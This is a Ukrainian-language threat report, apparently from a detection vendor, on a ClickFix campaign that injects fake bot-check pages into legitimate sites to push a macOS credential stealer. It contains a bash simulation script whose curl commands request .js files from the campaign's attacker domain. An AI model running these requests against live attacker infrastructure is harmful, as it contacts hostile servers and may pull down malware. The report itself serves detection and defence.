Кампанія Macfinger ClickFix

SOC Prime Team

Стежити

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Нова кампанія соціальної інженерії, відслідковувана як Macfinger ClickFix, націлює користувачів macOS шляхом ін’єкції шкідливих скриптів на законні вебсайти. Атака представляє підроблені сторінки захисту від ботів, які обманом змушують жертв виконувати команди, що завантажують шкідливе програмне забезпечення, специфічне для macOS. Шкідливий код виглядає як варіант Atomic macOS Stealer (AMOS), призначений для збору облікових даних та іншої інформації користувача.

Розслідування

Розслідування виявило, що законні вебсайти були скомпрометовані шляхом ін’єкції скриптів, які відображають підроблені спливаючі вікна перевірки. Аналіз мережевого трафіку виявив спеціалізований домен для відстеження користувачів, а також кілька IP-адрес, що підтримують доставку шкідливого ПЗ та зв’язок з командним сервером (C2). Спостережувані шаблони трафіку вказують на ексфільтрацію облікових даних та системної інформації через HTTP POST запити.

Пом’якшення

Користувачів слід навчати уникати слідування інструкціям, представленим несподіваними спливаючими вікнами в браузері або підробленими сторінками перевірки ботів. Організаціям слід впроваджувати веб-фільтрацію для блокування відомих шкідливих доменів і IP-адрес, пов’язаних з кампаніями ClickFix. Також рекомендується стежити за незвичними вихідними з’єднаннями із ненадійними IP-адресами через нестандартні порти.

Відповідь

23 вересня 2026

Виявити ін’єкцію скриптів Macfinger ClickFix [Webserver]

AI-правила SOC Prime

23 вересня 2026

Виконання симуляції

Опис атаки та команди: Зловмисник використовує техніку соціальної інженерії, відому як «ClickFix», коли користувача спонукають натиснути кнопку (часто це підроблене «виправлення» або «оновлення»), що виконує шкідливий скрипт. У цій симуляції ми відтворюємо фінальну стадію: браузер/агент на стороні клієнта робить запит до контролюючого домену Macfinger velvet-otter-glagceis.life для завантаження шкідливого .js файлу. Цей запит спрямований на відповідність одному з трьох специфічних критеріїв вибору в логіці виявлення.

Скрипт регресійного тесту:

#!/bin/bash
# Скрипт для симуляції запуску правила виявлення Macfinger ClickFix

echo "[*] Запуск симуляції Macfinger ClickFix..."

# Ціль 1: вибір 1 (параметр сайту)
echo "[*] Симуляція запиту до вибору 1..."
curl -s -o /dev/null "http://velvet-otter-glagceis.life/t.js?site=test_payload"

# Ціль 2: вибір 2 (специфічний файл з хешем)
echo "[*] Симуляція запиту до вибору 2..."
curl -s -o /dev/null "http://velvet-otter-glagceis.life/t.4b1009ff6c3f.js"

# Ціль 3: вибір 3 (файл ext-b)
echo "[*] Симуляція запиту до вибору 3..."
curl -s -o /dev/null "http://velvet-otter-glagceis.life/ext-b.4f9db6afad06a.js"

echo "[+] Симуляцію завершено. Перевірте SIEM для оповіщень."

Команди очищення:

# Місцеве очищення не вимагається, оскільки це вихідні мережеві запити.
# Якщо були створені місцеві файли, видаліть їх:
rm -f /tmp/macfinger_test_*

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Зв’язатися з відділом продажів